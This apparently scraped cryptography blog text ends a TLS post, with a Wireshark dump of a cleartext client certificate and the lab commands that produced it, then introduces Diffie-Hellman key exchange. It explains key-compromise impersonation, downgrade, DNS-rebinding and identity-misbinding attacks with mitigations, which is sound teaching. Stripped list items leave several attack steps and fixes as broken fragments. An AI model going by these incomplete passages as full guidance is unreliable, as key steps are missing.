\n\nFrame 15: 1264 bytes on wire (10112 bits), 1264 bytes captured (10112 bits)\nEthernet II, Src: 00:00:00_00:00:00 (00:00:00:00:00:00), Dst: 00:00:00_00:00:00 (00:00:00:00:00:00)\nInternet Protocol Version 4, Src: 127.0.0.1, Dst: 127.0.0.1\nTransmission Control Protocol, Src Port: 55934, Dst Port: 1194, Seq: 259, Ack: 1596, Len: 1198\nOpenVPN Protocol\nTransport Layer Security\n TLSv1.2 Record Layer: Handshake Protocol: Certificate\n Content Type: Handshake (22)\n Version: TLS 1.2 (0x0303)\n Length: 999\n Handshake Protocol: Certificate\n Handshake Type: Certificate (11)\n Length: 995\n Certificates Length: 992\n Certificates (992 bytes)\n Certificate Length: 989\n Certificate: 308203d9308202c1a003020102021414e338472bac1eece342df5fc60e83779784a25830\u2026 (pkcs-9-at-emailAddress=john.doe@example.com,id-at-commonName=Jon Doe,id-at-organizationName=Internet Widgits Pty Ltd,id-at-stateOrProvinceName=Some-S\n signedCertificate\n version: v3 (2)\n serialNumber: 0x14e338472bac1eece342df5fc60e83779784a258\n signature (sha256WithRSAEncryption)\n issuer: rdnSequence (0)\n validity\n subject: rdnSequence (0)\n rdnSequence: 5 items (pkcs-9-at-emailAddress=john.doe@example.com,id-at-commonName=Jon Doe,id-at-organizationName=Internet Widgits Pty Ltd,id-at-stateOrProvinceName=Some-State,id-at-countryName=AU)\n RDNSequence item: 1 item (id-at-countryName=AU)\n RDNSequence item: 1 item (id-at-stateOrProvinceName=Some-State)\n RDNSequence item: 1 item (id-at-organizationName=Internet Widgits Pty Ltd)\n RDNSequence item: 1 item (id-at-commonName=Jon Doe)\n RDNSequence item: 1 item (pkcs-9-at-emailAddress=john.doe@example.com)\n subjectPublicKeyInfo\n extensions: 3 items\n algorithmIdentifier (sha256WithRSAEncryption)\n Padding: 0\n encrypted: 342782ae2f94bf0123ade8d88117423e9bfeaefe69f9f93fc9f6a2104d4595f7bc47f6a3\u2026\n TLSv1.2 Record Layer: Handshake Protocol: Client Key Exchange\n\n\n
This is especially problematic if the OpenVPN tunnel is intended to protect your privacy.\nYou probably should not include personally identifiable information\nin the client certificate\nif you are using TLS v1.2 or below.
\nNote: replication
\nThe capture was generated with the following commands:
\nopenssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout client.key -out client.crt\nopenssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout client.key -out client.crt\nopenssl dhparam -out dh2048.pem 2048\nsudo openvpn --mode server --port 1194 --local 127.0.0.1 --dev tun0 \\\n --proto tcp-server --tls-server --ca client.crt --cert server.crt \\\n --dh dh2048.pem --key server.key \\\n --tls-version-min 1.2 --tls-version-max 1.2 --verify-client-cert require\nsudo tcpdump \"tcp port 1194\" -w openvpn-tls12.pcap -i lo\nsudo openvpn --remote 127.0.0.1 1194 tcp-client --dev tun1 --client \\\n --ca server.crt --cert client.crt --key client.key \\\n --tls-version-min 1.2 --tls-version-max 1.2\nwireshark openvpn-tls12.pcap\n
\nThe OpenVPN version used was:
\n\nOpenVPN 2.4.7 x86_64-pc-linux-gnu [SSL (OpenSSL)] [LZO] [LZ4] [EPOLL] [PKCS11] [MH/PKTINFO] [AEAD] built on Apr 28 2021\nlibrary versions: OpenSSL 1.1.1d 10 Sep 2019, LZO 2.10\n\n
Note: client identity in TLS v1.3
\nTLS v1.3 fixes this defect:\nthe Certificate
messages are sent encrypted (after an ephemeral DH key exchange)\nand after the server has been authenticated.
However, a meddler-in-the-middle (MITM) could attempt to downgrade the handshake in TLS v1.2 mode\nin order to make the client disclose its identity:\nthis is because TLS downgrade can only be detected in the Finished
message\nafter the Certificate
messages are sent in TLS v1.2.\nIn order to protect from this downgrade attack,\nwe can either:
(EC)DHE_*
key exchanges).Note: possible mitigations for OpenVPN
\nFor OpenVPN, this can be mitigated by:
\ntls-crypt
or the tls-crypt-v2
option.The tls-crypt
and tls-crypt-v2
options\nare OpenVPN specific features introduced in OpenPVN 2.5:
\n\n\n
--tls-crypt keyfile
Encrypt and authenticate all control channel packets with the key\nfrom keyfile. (See --tls-auth for more background.)
\nEncrypting (and authenticating) control channel packets:
\n\n
\n- provides more privacy by hiding the certificate used for the TLS connection,
\n- makes it harder to identify OpenVPN traffic as such,
\n- provides \"poor-man's\" post-quantum security, against attackers\nwho will never know the pre-shared key (i.e. no forward secrecy).
\n[\u2026]
\nAll peers use the same --tls-crypt pre-shared group key\nto authenticate and encrypt control channel messages. [\u2026]
\n[\u2026]
\nFor large setups or setups where clients are not trusted,\nconsider using --tls-crypt-v2 instead.\nThat uses per-client unique keys, and thereby\nimproves the bounds to 'rotate a client key at least once per 8000 years'.
\n
We have seen that authentication based on static DH\nis vulnerable to Key Compromise Impersonation (KCI).\nThe KCI TLS vulnerability (CVE-2015-8960)\nis a practical vulnerability of this.\nIf an attacker tricks the user into installing a client certificate\n(and associated private key) chosen by the attacker\ninto his web browser,\nthe attacker can impersonate any web site which uses a compatible certificate (in the same DH group)\neven if this web site does not support static DH (and client authentication) at all.
\nThe attack may go as follows:
\nhttps://example.com
)\nwhich has a certificate with a EC public key which can be used for ECDH\n(either no key usage extension or keyAgreement in the key usage extension);ECDH_*
key exchange);https://example.com
(containing the server ECDSA signing key);The following conditions must be met for this attack\n(see the KCI TLS slides):
\nkeyAgreement
usage.Mitigations:
\ndigitalSignature
\nkey usage\n(but not keyAgreement
)\nin certificates which are expected to be used for signing.Note: TLS v1.3
\nTLS v1.3 removed support for static DH.
\nAn interesting vulnerability,\nuses session resumption for DNS-rebinding attacks\nagainst certain HTTPS services.
\nTLS-based services can be protected against DNS-rebinding by enforcing the\nvalue of the TLS-level server name (SNI extension).\nApplication-layer server name (eg. the Host
HTTP header)\ncan be enforced as well for the same effect.
Even if neither TLS-level server name nor application-layer server name is enforced,\nDNS-rebinding attacks are normally prevented by TLS:\nthis is because,\nwhen the client tries to establish a TLS connection to the target.example
server\ninstead of attacker.example
,\nthe client expects a certificate chain for attacker.example
\nbut receives a certificate chain for target.example
\nit should reject the TLS connection.
However, the attacker can manage to avoid server certificates by using session resumption.\nIn order for this to work, the attacker has to:
\nThis can easily be done using the RSA transport key exchange algorithm\nas explained in the following diagram.
\n\nThe consequence of this attack is that the attacker\ncan issue arbitrary requests to the target website\nfrom the client and access the responses.\nThis can be useful for several reasons:
\nPrerequisites:
\nSeveral workarounds have been implemented in different implementations.\nThis should be fixed by using the\nextended master secret\nextension if it is implemented as specified:
\n\n\nIf the original session did not use the \"extended_master_secret\"\nextension but the new ClientHello contains the extension, then the\nserver MUST NOT perform the abbreviated handshake.
\n
This is fixed in TLS v1.3.
\nWithout going into details,\nthe validation of the certificate chain may include:
\nnotBefore
, notAfter
);SubjectAltName
extension);digitalSignature
)signed_certificate_timestamp
TLS extension,\nin the SignedCertificateTimestampList
X.509/OCSP extension)\nand validating them (for certificate transparency).RFCs:
\nRegistries:
\n\nMisc:
\nWhile making this post I realized that my nginx\nwas still configured to only support TLS v1.2. \u21a9\ufe0e
\nAs TLS compression is dangerous\n(see the CRIME vulnerability),\nonly the null
compression (no compression) is now usually enabled.\nCompression at the TLS level\nis forbidden in HTTP/2\nand has been removed in TLS v1.3. \u21a9\ufe0e
In TLS v1.3, the key agreement method is not part of the cipher suite anymore.\nIn my example, Firefox advertised as well support for the following TLS v1.3 cipher suites:\nTLS_AES_128_GCM_SHA256
,\nTLS_CHACHA20_POLY1305_SHA256
and\nTLS_AES_256_GCM_SHA384
. \u21a9\ufe0e
Unless client authentication is done in a TLS renegotiation\n(i.e. a TLS handshake after the initial TLS handsake).\nHowever, TLS renegotiation can be considered to be deprecated. \u21a9\ufe0e
\nWhen used with QUIC,\nthis is the application protocol used over QUIC, not over TLS. \u21a9\ufe0e
\nThe server domain name is indicated in the subject alternative names\n(SAN) X.509 extension. \u21a9\ufe0e
\nIn contrast, in static ECDH\n(such as with TLS_ECDH_RSA_WITH_AES_128_GCM_SHA256
),\nthe server always uses the same ECDH key pair\n(which is included in its certificate).\nThe downside of this approach is that it does not provide\nforward secrecy with respect to the static ECDH key. \u21a9\ufe0e
Export cipher suites\nwere cipher suites defined for TLS 1.0 and below\nand were designed to be weak in order to be legally exported\nfrom the USA. \ud83d\ude05 \u21a9\ufe0e
\nThe TLS pseudo random function (PRF) is used\nas a MAC.\nThis is safe because PRFs can be used as MACs. \u21a9\ufe0e
\nIn contrast to ECDSA which is a signing algorithm only,\nRSA can be used either for public-key signature and or for public-key encryption.\nWhen used in DHE_RSA
or ECDHE_RSA
mode, the server certificate\n(containing the RSA public key)\nmust include keyEncipherment
\nin the key usage extension.\nWhen used in RSA
, the server certificate (containing the RSA public key),\nmust include digitalSignature
in the key usage extension. \u21a9\ufe0e
Note that TLS-level encryption is not enabled when the NewSessionTicket
message is sent.\nIn particular, it is (obviously) very important that the master secret\nis not disclosed to eavesdroppers. \u21a9\ufe0e
Client authentication is often done at the application protocol layer instead. \u21a9\ufe0e
\nWhen using TLS v1.2,\nSHA-256 is used instead of weaker hash algorithms for the PRF. \u21a9\ufe0e
\nHowever, QUIC only supports TLS v1.3 or above. \u21a9\ufe0e
\nThe Diffie-Hellman (DH) key exchange (and variants thereof) is widely used\nin many protocols\n(such as TLS, SSH, IKE (IPSec), Signal, etc.)\nto bootstrap some symmetric key material\nwhich may then be used to secure communication channel between two parties.\nThis introduction\nfocuses on the different ways the DH key exchange\nis used in practice\nin several protocols (especially TLS)\nand the impact of these different approaches on the security.\nThis is intended as a prelude for the upcoming next episodes\nabout how TLS works.
\nPrerequisites:\npublic key vs. private key vs. secret key key,\nencryption, MAC, digital signature,\ncryptographic hash.
\nConcepts introduced:\nDiffie-Hellman key exchange,\nanonymous vs. authenticated Diffie-Hellman key exchange,\nephemeral vs. static Diffie-Hellman key pairs/exchange,\ntriple Diffie-Hellman key exchange (3DH),\nforward secrecy,\nkey compromise impersonation (KCI),\nidentity misbinding attack.
\nAfter a quick overview,\nwe will present\nthe unauthenticated DH key exchange.\nThe downside of the unauthenticated DH key exchange is that the parties have no assurance\nthat they are actually communicating with the intended party:\nthis approach only protects against passive eavesdroppers\nbut not against active attackers.\nand it is therefore usually desirable to authenticate at least one participant.\nWe will see several approaches to integrating some authentication\n(for either or both parties) in the key exchange:
\nDisclaimer: don't roll your own crypto!
\nI'm not an expert in cryptography.\nThis post is not supposed to teach you\nhow to implement secure cryptographic protocols:\ndo not roll your own crypto;\nuse an existing implementation of a well-known protocol (eg. TLS)\nif you can.
\nLet us assume that Alice and Bob want to communicate over the network.\nThey would like to protecte themselves from eavesdroppers (Eve[1])\nlistening to their communications (confidentiality)\nand active attackers (Mallory[2])\ntampering with their communications (data integrity).\nThey could use encryption and Message Authentication Codes (MACs)\nin order to provide\nconfidentiality and data integrity[3] respectively.\nIn order to do that, they need to agree\non some shared keys to use (for the encryption and/or MAC).
\nObviously, Alice cannot simply send these shared keys to Bob in clear text over the network:\nthese secrets keys would not be secret at all.\nAn attacker could eavesdrop them and use them to decrypt\nthe communications or tamper with them.\nInstead, Alice and Bob would need a method to agree on some shared keys\nwithout sending these keys\n(or any other informations which could be used to compute them)\nin clear text over the network.
\nThe Diffie-Hellman key agreement is a method for two parties\nto agree on a shared secret\nwithout revealing this shared secret to eavesdroppers.
\nHow?\nThe two parties exchange Diffie-Hellman public keys\nand each party then uses its own Diffie-Hellman private key\nwith the other party Diffie-Hellman public key\nto compute the same shared secret\n(the Diffie-Hellman shared secret).\nThis shared secret is not revealed to eavesdroppers\nbecause even though the eavesdropper\ncan observe the DH public keys,\nhe does not know any of the two DH private keys:\nhe therefore cannot compute the DH shared secret.
\nThe following diagram gives an idea about how this works.\nSome details on these computations are given in appendix.
\n\nWhy?\nThe two parties can use this shared secret\nto secure some communication\nby deriving[4] some symmetric key material from the shared secret.
\nNote: key material
\nThe key material derived from the DH shared secret would typically include:
\nNote: FFDH and ECDH
\nThe DH key agreement can be conducted using different types of mathematical objects\n(groups.\nFor example,
\nEverything discussed here applies\nto both FFDH and ECDH.
\nThe original/classical Diffie-Hellman formulation is FFDH which was known as \u201cDiffie-Hellman\u201d\nat this point.\nTherefore, term \u201cDH\u201d is often used to refer to FFDH as opposed to ECDH.\nFor example, in TLS v1.2 and below\nthe TLS_DH(E)_*
cipher suites use FFDH\nwhereas the TLS_ECDH(E)_*
cipher suites use ECDH.
Examples of usage
\nMany protocols use the Diffie-Hellman key exchange:
\n\nThe unauthenticated (anonymous) Diffie-Hellman key exchange\nuses ephemeral DH key pairs for each party:\neach party generates a new Diffie-Hellman (public/private) key pair\nfor each Diffie-Hellman key exchange.\nThis is called ephemeral-ephemeral Diffie-Hellman.
\nNote: static vs. ephemeral Diffie-Hellman key
\nEphemeral DH key:\nwhen the party generates a new DH key pair for each key exchange.
\nStatic DH key:\nwhen the party reuses the same DH key pair for all key exchanges.
\nEphemeral-ephemeral DH (DHE):\nboth parties use ephemeral DH key pairs.
\nEphemeral-static DH (DHES):\none party uses ephemeral DH key pairs\nand the other party a static DH key pair.
\nStatic-static DH:\neach party uses its (own) static DH key pair.
\nExplanation:
\nEach party can compute the same shared secret using its private DH key\nand the other party public DH key:
\n\nshared_secret_between_alice_and_bob = DH(alice_private_key, bob_public_key)\n = DH(bob_private_key, alice_public_key)\n\n
A passive attacker,\nonly knows the DH public keys but not the DH private keys:\nhe cannot compute the DH shared secret and the key material.
\nNote: key confirmation
\nIt is often necessary to include some key confirmation\nmechanism after the key agreement.\nSee for example, the Finished
messages in TLS v1.2\nand v1.3.
Warning: vulnerable to active attack (unauthenticated)
\nOne major downside of using an unauthenticated DH key exchange\nis that it is vulnerable to active attacks.\nAs the exchange is not authenticated,\none participant cannot be sure that the party he has been conducting a DH key agreement with\nis the one he is really intending to communicate with.\nBy intercepting the key exchange, an active attacker may impersonate one party,\nintercept the communications, etc.
\n\nIn the following sections, we will cover how to authenticate a Diffie-Hellman key exchange\nusing some long-term secret.\nThis may be\na static DH private key,\na signing private key,\na pre-shared key (PSK)\nor a passphrase.
\nWarning: don't use encryption without message authentication
\nYou really want to use some form of message authentication\nin addition to encryption.\nThis can be done\neither by using an AEAD\n(which already integrates message authentication in addition to encryption)\nor by including a MAC in addition to the encryption scheme you are using.
\nExample: usage in TLS v1.2
\nThe anonymous TLS cipher suites use this approach.\nThese are the cipher suites containing DH_anon
or ECDH_anon
\n(such as TLS_DH_anon_WITH_CAMELLIA_256_GCM_SHA384
or TLS_ECDH_anon_WITH_AES_128_CBC_SHA
).\nThe DH public keys are exchanged in the ServerKeyExchange
\nand ClientKeyExchange
messages.
The server is not authenticated when using these cipher suites.
\nExample: usage for opportunistic encryption in Wifi (OWE)
\nWifi OWE\n(Opportunistic Wireless Encryption)\nuses\nan unauthenticated Diffie-Hellman key exchange\nto provide opportunistic encryption (protection against passive attacks)\nto open Wifi networks.\nOWE is designed to be used as a (more secure) replacement\nfor unencrypted open Wifi.
\nIn OWE, the station and the access point (AP)\nexchange\nephemeral DH public keys\nin the 802.11 association request and association response messages\nrespectively.\nThey then derive key material\nfrom the resulting DH shared secret.
\nA party (here Bob) can authenticate itself\nby using a static DH key pair bound to its identity.
\nNote: key distribution
\nFor this to work, Alice somehow need to learn Bob's (static) DH public key.\nThis may for example be:
\nIf only one party is authenticated this way,\nthe other party uses an ephemeral DH key pair:\nthis is ephemeral-static Diffie-Hellman (DHES).\nIf each party uses a (different) static DH key pair,\nthis is static-static Diffie-Hellman (discussed below).
\n\nWarning: lack of forward secrecy
\nIf an attacker manages to get the static DH private key of one party,\nhe can compute the DH shared secrets of all key exchanges\nwhich were using that static DH private key\nand decrypt the associated communications:\nstatic DH key exchanges do not provide forward secrecy\nwith respect to the static DH private key.
\nThis is why the usage of static DH key exchanges is now discouraged in TLS.\nStatic DH key exchanges have been completely removed in TLS v1.3.
\nIn the previous diagram,\nan attacker could make a replay attack on the party using the static DH key pair.
\n\nThis can be fixed\nby having this party send a random nonce\nand including this nonce to derive a secret key.
\n\nExample: usage of static Diffie-Hellman keys in TLS v1.2
\nThe TLS DH_DSS
, DH_RSA
, ECDH_ECDSA
and ECDH_RSA
key exchange methods\n(for example in TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA
)\nuse this approach for authenticating the server.
ClientHello
\nand ServerHello
messages;ServerKeyExchange
;TLS client authentication uses this approach as well\nwhen used with the\nrsa_fixed_dh
, dss_fixed_dh
,\nECDSA_fixed_ECDH
,\nRSA_fixed_ECDH
certiticate types.
Using either of these method for authentication\ndo not provide forward secrecy\nwith respect to the static DH private key.
\nWhen both the client and server key are static,\nwe have static-static Diffie-Hellman (see below).
\nIf each party uses a static a DH key pair, we get static-static Diffie-Hellman.\nIn this case, the DH shared secret is always the same between the two parties.\nHowever, we don't want to reuse the same key material\nas the result of different key exchanges\nbetween the same pair of parties.\nIn order prevent this,\nthe parties can exchange nonces;\nthen, they derive the key material\nfrom the DH shared secret and the nonces.
\n\nWarning: lack of forward secrecy
\nThis does not provide forward secrecy\nwith respect to any of the static DH private keys.\nIf an attacker compromises any of the static DH private keys,\nshe can then use this key to decrypt previous communications\nwhich were using that key.
\nWarning: key compromise impersonation (KCI)
\nIn all these key exchange authentication methods,\nAlice authenticates herself using some authentication secret\n(either a static DH private key, a signing private key, a PSK or a passphrase).\nIf an attacker manages to obtain Alice's authentication secret,\nthis attacker can impersonate Alice.
\nIn static-static DH[5], if the attacker manages to get Alice's private DH key,\nhe can in addition impersonate anyone else when they are talking to Alice.\nThis vulnerability is called Key Compromise Impersonation (KCI).
\n\nSee KCI Attacks against TLS for a practical application in TLS.
\nAnother solution to provide\nmutual authentication\nis to use a triple Diffie-Hellman (3DH)[6]\nkey agreement.\nEach participant uses both a static DH key pair and an ephemeral DH key pair.\nThey combine the DH shared secrets resulting from three DH key agreements:
\nNote: not vulnerable to KCI with respect to the static DH key pairs
\nAn attacker having access to Alice's private static DH key\ncannot use it to compute the DH shared secret\nresulting from\nAlice ephemeral DH key pair and Bob static DH key pair.\nTherefore, this approach is not vulnerable to KCI with respect\nto the party static DH private key.
\nExample: X3DH, Signal, etc.
\nThe Extended Triple Diffie-Hellman (X3DH)\nis an extensions of this approach. X3DH is used by the Signal protocol.\nThe Signal protocol is used by Signal,\nWhat's App, etc.
\nInstead of using static DH key pairs,\nwe can use digital signatures to authenticate the DH key exchange.
\nOne simple (but broken) solution\nwould be for each party to sign\neither its own ephemeral DH public key\nor the two DH public keys.
\n\nNote: freshness
\nIn this diagram, each party signs both\nits own ephemeral DH public key (for authentication)\nand the other party ephemeral DH public key (for freshness).\nIncluding the other party ephemeral DH public key\n(or nonce contributed by the party)\nguarantees the freshness of the signature\nto the other party.
\nHowever, this approach is vulnerable to\nidentity misbinding attacks.\nIf Alice tries to established a mutually authenticated communications\nwith Charlie and if Charlie is malicious\n(for example because it has been compromised),\nCharlie can trick Alice into establishing a communication with Bob instead:
\nThis attack is possible because the attacker (Charlie) is able\nto manipulate the handshake messages without being detected.
\nSeveral approaches can be used to prevent this type of\nmanipulations from getting unnoticed:
\nFinished
messages)\na MAC of the previous handshake\nmessages (which includes the identity\nof the authenticated parties in the Certificate
messages).Example: usage in TLS v1.2 for server authentication
\nIn TLS v1.2, the server authenticates itself using digital signatures\nwhen using the TLS_(EC)DHE_*
cipher suites\n(for example TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256
):
ServerKeyExchange
message\ncontains a signature of the server ephemeral DH public key the server and client nonces;Finished
message contains a MAC of the previous messages.Example: usage in TLS v1.2 for client authentication
\nIn TLS v1.2, the client authenticates itself using digital signature\nwhen it uses the rsa_sign
, dss_sign
or ecdsa_sign
certificate type:
CertificateVerify
\nmessage contains a signature of previous handshake messages;Finished
message contains a MAC of previous handshake messages.Example: usage in TLS v1.3
\nIn TLS v1.3 (without PSK),\nboth client and server authentication use a digital signature:
\nCertificateVerify
message\ncontains a signature of the hash of the previous handshake messages;Finished
message\ncontains a MAC of previous handshake messages.Note: forward secrecy
\nThis approach provides forward secrecy (with respect to the signing private keys).\nBy getting access to one party's signing private key,\nan attacker could of course impersonate this party in subsequent key exchanges.\nHowever, having the signing private key would not enable the attacker\nto recover the DH shared secrets (and the key materials)\nof previous key exchanges\nwhich were authenticated using that key.
\nWarning: the ephemeral key may not actually be ephemeral
\nA party could (unilaterally) decide to use a static DH key pair\nin what is expected to be an ephemeral DH key exchange.\nThis might be\nfor granting access to the plain text to a third party\nor for computational efficiency reasons.\nIn this case, the key exchange does not provide\nthe expected forward secrecy\nwith respect to this long-lived key[8].
\nWe can combine ephemeral-ephemeral Diffie-Hellman\nwith some other secret shared,\nthe pre-shared key (PSK), between the client and the server:
\nExample: usage in TLS v1.2
\nIn TLS v1.2,\nboth DHE_PSK\nand ECDHE_PSK key exchanges\nuse this approach.
\nExample: usage in TLS v1.3
\nIn TLS v1.3,\nthe psk_dhe_ke
key exchange mode\n(i.e. PSK with (EC)DHE)\nuses this approach.
Warning: low-entropy secret
\nThis method should be used with high entropy PSKs\n(such as random PSKs).\nIt should not be used for PSKs derived from passwords.
\nOther key exchanges based on Diffie-Hellman are designed\nto be used with low-entropy shared secrets\n(such as secrets derived from a password).
\nExamples of authenticating the Diffie-Hellman with a password
\nFor example this approach is used in:
\nExample: Diffie-Hellman in WPA-SAE
\nIn WPA2-personal (WPA2-PSK),\nthe key exchange\ndoes not use a Diffie-Hellman key agreement.\nBoth the station and the AP derive a PSK\nfrom the passphrase of the Wifi network[9].\nThen, they combine this PSK with the exchanged nonces to derive the key material.\nAnyone who knows the PSK can compute the encryptions secret keys of previous handshakes\n(assuming he has observed the nonces) and decrypt the associated Wifi traffic.\nTherefore, WPA2-personal does not provide forward secrecy with respect to the passphrase/PSK.\nIn WPA-personal, all users of the Wifi network usually[10] share\nthe same secret password:\nany of those users can use the shared secret\nto passively decrypt the traffic of other stations (including previous communications).
\nWPA3-personal improves this by using WPA-SAE\n(Simultaneous Authentication of Equals).\nThis combines an ephemeral-ephemeral DH key exchange with the PSK\nin order to provide forward secrecy with respect to the passphrase/PSK.\nA passive attacker having access to the PSK cannot decrypt the traffic.
\nIn both cases, an active attacker having access to the passphrase/PSK\ncan impersonate the access point\n(or join the network and try to use\nlayer 2 attacks\nsuch as ARP poisoning, ICMP redirection, etc.).
\nWe have seen how the DH key agreement can be used\nto generate key material between two parties.
\nIt is usually desirable to authenticate either or both parties\nin order to protect against active attacks.\nEach party may be authenticated for example by:
\nAlternatively, mutual authentication may be achieved\nby including some shared secret in the key exchange.
\nForward secrecy can be achieved by including an ephemeral-ephemeral\nDH key agreement in the key exchange.
\nEach party can be protected against replay attacks\nby contributing some ephemeral value to the key exchange:
\nThe Diffie-Hellman key exchange protocol can be used\nfor hybrid public-key encryption:\nboth the Elgamal encryption (not discussed here)\nand the Diffie-Hellman Integrated Encryption Scheme (DHIES)\nare based on DH.\nIn this context, the receiver cannot contribute any ephemeral value\n(which could be used to provide forward secrecy and anti-replay protection).
\nExamples
\nSeveral encryption standards\nhave support for encryption based on the Diffie-Hellman key exchange:\nJWE/JWA,\nXML encryption,\nCMS,\nOpenPGP,\netc.
\nThe HPKE\n(Hybrid Public Key Encryption)\npublic-key encryption scheme\nuses this approach as well.\nHPKE is expected to be used\nin the Encrypted Client Hello (ECH) extension\nfor encrypting the TLS ClientHello message.
\nIn DHES-based encryption, the sender generates an ephemeral DH key pair\nand derives a DH shared-secret with the recipient static DH public pair.\nIt then derives some key material from this shared secret\nwhich might either be:
\nExample: DHIES, DLIES and ECIES
\nDiffie-Hellman Integrated Encryption Scheme (DHIES)\nuses the direct approach.
\nThe sender:
\nDiscrete Logarithm Integrated Encryption Scheme (DLIES) is DHIES using FFDH.\nElliptic Curve Integrated Encryption Scheme (ECIES) is DHIES using ECDH.
\nExample: DHES encryption in JSON Web Encryption (JWE)
\n\nECDH-ES
);ECDH-ES+A128KW
, ECDH-ES+A192KW
and ECDH-ES+A256KW
).Example: DHES in HPKE base mode
\nThe HPKE\nbase mode\nwith a DH-based key encapsulation method (DHKEM)\nuses a similar (direct) approach.
\nThe sender:
\nskE, pkE
);dh
) from its ephemeral DH private key and the recipient's static DH public key;shared_secret
) from the DH shared secret and both DH public keys;key
) and a base nonce (base_nonce
) for an AEAD from this second shared secret;self.ComputeNonce(...)
) from the base nonce;ct
) to the recipient.See Encap()
, SetupBaseS()
, KeySchedule<ROLE>()
, ContextS.Seal()
and Seal<MODE>()
.
If both the sender and the receiver use static DH keys,\nthe sender is authenticated as well\n(assuming that authenticated encryption is used).\nA nonce must be included in this case:\notherwise the key material would always be\nthe same between the same two parties.
\nAnother advantage of this approach is that\nthe sender can decrypt the message as well.
\n\nNote: non-repudiation vs. repudiability
\nThis approach provides repudiability\nThe receiver cannot prove to a third party that the sender actually created the message:\nthe message could have been forged by the receiver.\nIn contrast, authenticating the sender\nby sign-then-encrypting the plaintext message\nwould provide non-repudiation.
\nEither non-repudiation or repudiability\ncould be desirable depending on the application:
\nSee for example the OTR paper:
\n\n\nIn this paper, we examine what kind of privacy is\nnecessary for social communications. We argue that not only\nmust encryption be used to hide the contents of the conversation,\nbut also, the encryption must provide perfect forward\nsecrecy to protect from future compromises. Additionally,\nauthentication must be used to ensure that the person on\nthe other end is who they claim to be. However, the\nauthentication mechanism must offer repudiation, so that the\ncommunications remain personal and unverifiable to third\nparties. Only with these properties can privacy similar to\nreal-world social communications be achieved.
\n
Warning: Key Compromise Impersonation
\nAs before, if an attacker manages to compromise the static DH private key of Alice,\nit can then use this key to impersonate every other party (Bob)\nwhen talking to Alice.
\nThe HPKE scheme in authenticated mode\nwith DHKEM uses a similar approach\nto provide public-key authenticated encryption.\nInstead of using a nonce,\nthe sender combines a static-static DH key agreement\nand a DHES key agreement:
\nThe sender and the receiver both derive the key material\nfrom both DH shared secrets and the three DH public keys.
\n\nWarning: Key Compromise Impersonation
\nThis approach is vulnerable to KCI as well.
\nThe two parties first agree on\na finite cyclic group (\ud835\udca2, +) to use for the Diffie-Hellman exchange\nand a generator g \u2208 \ud835\udca2 of this group.\nThe choice of these two parameters may be hardcoded in the protocol/implementation/configuration\nor could be negotiated in some way.
\nLet n the order of the group,\nwe have |\ud835\udca2| = n\nand \ud835\udca2 = { i.g : i \u2208 {0, \u2026, n - 1} }.\nIn other words, the function f(i) = i.g is a bijection\nfrom {0, \u2026, n - 1}\n(or equivalently \u2124/n\u2124)\nto \ud835\udca2.
\nNote: notations (additive group vs. multiplicative group)
\nIn this post, we are considering the group as an additive group (\ud835\udca2, +).\nMany papers use the multiplicative notation (\ud835\udca2, .) instead:\nthis is purely a difference in the notation.\nI am using the additive notation because I find the notation more convenient.\nYou will find a summary of the two notations in the table below.
\nSummary:
\nFor generating a DH private key, a party chooses a random integer 1 < ka < n:\nthis value is the private key.\nThe associated DH public key is the corresponding element of \ud835\udca2: Ka = ka.g \u2208 \ud835\udca2.
\nThis is only interesting if we are working in a \ud835\udca2\nwhere computing the private key ka from the public key Ka\n(discrete logarithm problem) is not tractable.\nOne necessary conditions is for n to be large enough for a brute-force\napproach to be intractable.
\nOnce two parties Alice and Bob have exchanged their DH public keys Ka and Kb,\nthey can compute the same DH shared secret z:
\nThe two parties compute the same value because\nka . Kb = ka . kb . g = kb . ka . g = kb . Ka.
\n\nAn attacker knows Ka and Kb but not ka and kb\nand cannot reproduce any of these two computations.\nIn order to compute the DH shared secret z, the attacker has to solve\nthe Computational Diffie-Hellman problem.\nOne way to solve this problem would be to solve the discrete logarithm problem.\nMoreover, solving the Computational Diffie-Hellman problem is\nequivalent to the discrete logarithm problem\nfor many classes of groups.
\n\n | Additive group | \nMultiplicative group | \n
---|---|---|
Group | \n(\ud835\udca2, +) | \n(\ud835\udca2, .) | \n
Group operation | \nx + y \u2208 \ud835\udca2 | \nx . y \u2208 \ud835\udca2 | \n
Group exponentiation | \ni . x = x + \u2026 + x \u2208 \ud835\udca2 (i times) | \nxi = x . \u2026 . x \u2208 \ud835\udca2 (i times) | \n
Generator (g \u2208 \ud835\udca2) | \n\ud835\udca2 = { i.g : i \u2208 {0, \u2026, n - 1} } | \n\ud835\udca2 = { gi : i \u2208 {0, \u2026, n - 1} }. | \n
DH private key | \n1 < ka < n | \n1 < ka < n | \n
DH public key | \nKa = ka.g \u2208 \ud835\udca2 | \nKa = gka \u2208 \ud835\udca2 | \n
DH shared secret | \nz = kb . Ka = ka . Kb = ka . kb . g \u2208 \ud835\udca2 | \nz = Kakb = Kbka = gka.kb \u2208 \ud835\udca2 | \n
Discrete Logarithm problem | \nGiven k.g \u2208 \ud835\udca2, find k \u2208 {0, \u2026, n - 1} | \nGiven gk, find k \u2208 {0, \u2026, n - 1} | \n
Computational DH problem | \nGiven g \u2208 \ud835\udca2, k.g \u2208 \ud835\udca2 and k'.g \u2208 \ud835\udca2, find k.k'.g. | \nGiven g \u2208 \ud835\udca2, gk \u2208 \ud835\udca2 and gk' \u2208 \ud835\udca2, find gk.k' | \n
Where n is the order of the group. \u2200x \u2208 \ud835\udca2, \u2200y \u2208 \ud835\udca2, \u2200i \u2208 \u2124.
\nBacklinks:
\n\nEve is traditionally\nused to designate an eavesdropper (a passive attacker).\nThis type of attacker is able to see the message on the network\nbut cannot modify, send or intercept messages. \u21a9\ufe0e
\nMallory is traditionally\nused to designate an active attacker.\nThis type of attacker is able to spoof, alter and intercept message. \u21a9\ufe0e
\nIf the encryption scheme is an authenticated encryption,\nthere is no need for a separate MAC. \u21a9\ufe0e
\nUsing a key derivation function (KDF).\nFor example, TLS v1.3 uses HKDF. \u21a9\ufe0e \u21a9\ufe0e
